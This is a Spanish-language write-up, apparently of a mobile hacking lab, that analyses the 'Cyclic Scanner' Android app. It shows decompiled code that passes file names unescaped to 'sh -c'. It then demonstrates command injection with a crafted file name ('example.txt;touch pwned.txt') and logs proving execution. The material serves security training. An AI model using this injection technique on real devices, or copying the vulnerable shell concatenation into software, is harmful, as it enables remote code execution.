Post

Cyclic Scanner

Explota un Servicio en esta aplicación para Android.

Cyclic Scanner

Information

English version: CyclicScanner

Aprovechar una vulnerabilidad inherente a un servicio de Android para lograr la ejecución remota de código.

FILE INFORMATIONAPP INFORMATION
File Name com.mobilehackinglab.cyclicscanner.apkApp Name Cyclic Scanner
Size 11.33MBPackage Name com.mobilehackinglab.cyclicscanner
MD5 0e3232f37cb0f986014e4c767ea0d420Main Activity com.mobilehackinglab.cyclicscanner.MainActivity
SHA1 d9cd0a100731389b8bfbf9a019d70a65e8f6016cTarget SDK 33 Min SDK 30 Max SDK
SHA256 2a01bfe39237c3cc0118bf845fb6c3da75f2ad0ace918d207977d6766adf3750Android Version Name 1.0 Android Version Code 1

Application Analysis

Luego de installar y abrir la aplicacion, se puede apreciar una unica funcionalidad. Un swich en estado off, al cambiar su estado a on aparece un mensage Toast:

“Scan service started, your device will be scanned regularly.”

Parecería ser que se a iniciado un Service y que algunas acciones se estan ejecutando en segundo plano. Volver el swich a off no parece ser posible, indicando tambien por otro mensage Toast:

“Scan service cannot be stopped, this is for your own safety!”


En el análisis del archivo AndroidManifest.xml detecté varios puntos relevantes.

Está declarado el permiso MANAGE_EXTERNAL_STORAGE, que concede a la aplicación capacidad para leer y escribir en directorios compartidos del almacenamiento externo.

1
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />

También aparece android:debuggable="true". Esta configuración habilita la depuración de la aplicación. La cual facilita la ingeniería inversa y puede exponer información interna sensible si no se tomaron las precauciones adecuadas (CWE-489).

Al ejecutar la aplicacion en modo depuración, son visibles varias salidas de System.out, donde algunas comprobaciones de archivos parecen llevarse a cabo.

1
2
3
4
5
6
7
8
9
10
❯ adb logcat --pid=22141

02-18 02:50:21.465 22141 22205 I System.out: starting file scan...
02-18 02:50:21.482 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.488 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
02-18 02:50:21.495 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.502 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
02-18 02:50:21.509 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.517 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
02-18 02:50:21.518 22141 22205 I System.out: finished file scan!

Al revisar MainActivity se confirma el comportamiento observado anteriormente.

El metodo setupSwitch$lambda$3 implementa la lógica asociada al switch.

Si el mismo es activado, su estado cambia a isChecked == true. Y proccede a mostrar el Toast indicando que el servicio fue iniciado. Luego, invoca startForegroundService() con un Intent dirigido a ScanService.

Cuando el usuario intenta desactivar el switch, la lógica no detiene el servicio. En cambio, fuerza el estado del switch a true mediante setChecked(true).

1
2
3
4
5
if (isChecked) {
    Toast.makeText(this$0, "Scan service started, your device will be scanned regularly.", 0).show();
    this$0.startForegroundService(new Intent(this$0, (Class<?>) ScanService.class));
    return;
}

La clase ScanService implementa un Service el cual realiza un escaneo de ficheros de forma periódica.

Mediante Environment.getExternalStorageDirectory() la aplicación accede al almacenamiento externo. A partir de un bucle, la clase ScanEngine realiza una serie de comprobaciones para verificar si los archivos son seguros.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try {
    System.out.println((Object) "starting file scan...");
    File externalStorageDirectory = Environment.getExternalStorageDirectory();
    Intrinsics.checkNotNullExpressionValue(externalStorageDirectory, "getExternalStorageDirectory(...)");
    Sequence $this$forEach$iv = FilesKt.walk$default(externalStorageDirectory, null, 1, null);
    for (Object element$iv : $this$forEach$iv) {
        File file = (File) element$iv;
        if (file.canRead() && file.isFile()) {
            System.out.print((Object) (file.getAbsolutePath() + "..."));
            boolean safe = ScanEngine.INSTANCE.scanFile(file);
            System.out.println((Object) (safe ? "SAFE" : "INFECTED"));
        }
    }
    System.out.println((Object) "finished file scan!");
}

La clase ScanEngine identifica malware comparando hashes hardcodeados. Para ello la aplicación recorre los directorios compartidos y por cada fichero, construye y ejecuta un comando para obtener su hash y lo valida contra la lista incorporada en el codigo.

El problema reside en cómo se construye la cadena que se envía directamente al intérprete de comandos. ScanService recorre /sdcard/ y pasa el nombre de cada fichero a ScanEngine, que lo concatena en a un commando de shell.

Si el nombre del fichero contiene caracteres especiales, el intérprete podra ejecutar comandos adicionales, lo que constituye una vulnerabilidad de tipo OS Command Injection (CWE-78).

1
2
String command = "toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder(new String[0]).command("sh", "-c", command).directory(Environment.getExternalStorageDirectory()).redirectErrorStream(true).start();

Execution

De tal forma, es posible desarrollar una aplicación cuya única función sea crear un archivo con un nombre especialmente construido, concatenando un comando adicional al nombre original.

1
String fileName = "example.txt;" + userCommand;

En el campo Command Input el usuario escribe el comando que desea ejecutar, por ejemplo touch pwned.txt.

El comando se incorpora con el nomabre del archivo example.txt.

1
2
❯ adb shell ls /sdcard/Download/
example.txt;touch pwned.txt

Y se guarda en un directorio donde la aplicacion vulnerable relize su escaneo.

1
2
3
4
5
6
7
8
9
10
11
12
❯ adb logcat --pid=22141

02-18 05:45:57.662  22141  22205 I System.out: starting file scan...
02-18 05:45:51.671  22141  22205 I System.out: /storage/emulated/0/Download/example.txt;touch pwned.txt...SAFE
02-18 05:45:51.679  22141  22205 I System.out: /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.686  22141  22205 I System.out: /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
02-18 05:45:51.693  22141  22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.701  22141  22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
02-18 05:45:51.708  22141  22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.715  22141  22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
02-18 05:45:51.722  22141  22205 I System.out: /storage/emulated/0/pwned.txt...SAFE
02-18 05:45:51.722  22141  22205 I System.out: finished file scan!

El interprete encontrara el ; y ejecutara el comando touch de manera exitosa. Confirmando que la aplicacion Cyclic Scanner es vulnerble a Code Execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ adb shell ls /sdcard/
Alarms
Android
Audiobooks
DCIM
Documents
Download
Movies
Music
Notifications
Pictures
Podcasts
Recordings
Ringtones
pwned.txt

Common Weakness


MITRE ATT&CK Matrix

This post is licensed under CC BY 4.0 by the author.